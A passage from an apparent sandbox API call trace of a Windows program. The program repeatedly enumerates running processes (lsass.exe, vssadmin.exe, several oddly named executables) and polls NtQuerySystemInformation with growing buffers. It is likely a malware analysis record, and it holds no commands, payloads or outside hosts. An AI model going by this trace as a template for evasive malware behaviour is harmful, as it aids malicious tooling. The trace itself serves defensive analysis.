AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.560] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0071.560] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.560] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.561] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0071.561] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.561] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.561] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0071.561] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0071.561] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e38 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.561] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0071.561] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0071.561] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x31713f0 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0071.561] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0071.561] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dd8 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0071.561] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171310 [0071.561] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0071.562] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171430 [0071.562] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0071.562] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0071.562] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0071.562] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x3171310 [0071.562] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0071.562] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e38 [0071.562] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0071.562] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0071.562] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0071.562] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0071.562] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0071.562] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0071.562] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0071.563] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0071.563] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0071.563] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171330 [0071.563] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0071.563] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171330 [0071.563] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0071.563] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0071.563] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0071.563] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x31688a8 [0071.563] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0071.563] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e68 [0071.563] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0071.563] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171510 [0071.563] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0071.563] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31623b0 [0071.563] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0071.563] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171310 [0071.563] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0071.563] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0071.563] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0071.563] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dc0 [0071.563] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0071.563] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e38 [0071.563] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0071.564] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0071.564] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0071.564] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161dc0 [0071.564] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0071.564] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175da8 [0071.564] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0071.564] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x31713f0 [0071.564] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0071.564] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0071.564] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0071.564] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171510 [0071.564] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0071.564] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0071.564] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0071.564] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x3168830 [0071.564] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0071.564] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0071.564] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0071.564] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0071.564] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0071.564] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0071.564] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0071.564] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0071.564] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0071.565] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171330 [0071.565] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0071.565] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0071.565] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0071.565] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dd8 [0071.565] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0071.565] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e38 [0071.565] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0071.565] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0071.565] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0071.565] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0071.565] Sleep (dwMilliseconds=0x64) [0073.123] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0073.123] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.125] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0073.125] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.126] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0073.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.126] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0073.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.126] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0073.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.126] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0073.126] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.127] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0073.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.127] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0073.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.127] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0073.127] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.127] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0073.128] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.128] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0073.128] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.128] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0073.128] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.128] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0073.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.129] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0073.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.129] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0073.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.130] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0073.130] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.130] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0073.130] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.130] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0073.130] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.131] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0073.131] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.131] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0073.131] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.132] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0073.132] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.132] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0073.132] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.133] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0073.133] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.133] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0073.133] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.197] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0073.197] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.198] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0073.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.199] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0073.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.199] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0073.199] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.200] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0073.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.200] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1e438) returned 0x3177e48 [0073.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.201] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1f45c) returned 0x3177e48 [0073.201] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0073.201] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x20480) returned 0x3177e48 [0073.201] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0073.202] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0073.202] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175c08 [0073.202] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0073.202] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e20 [0073.203] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0073.203] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0073.203] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0073.203] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0073.203] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0073.203] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0073.203] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0073.203] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0073.203] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0073.203] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0073.203] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0073.203] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dd8 [0073.203] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.203] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0073.203] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0073.203] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e20 [0073.203] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0073.203] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e38 [0073.203] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.203] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0073.203] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0073.203] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175aa8 [0073.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.204] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0073.204] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0073.204] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0073.204] RtlUnicodeStringToAnsiString (in: 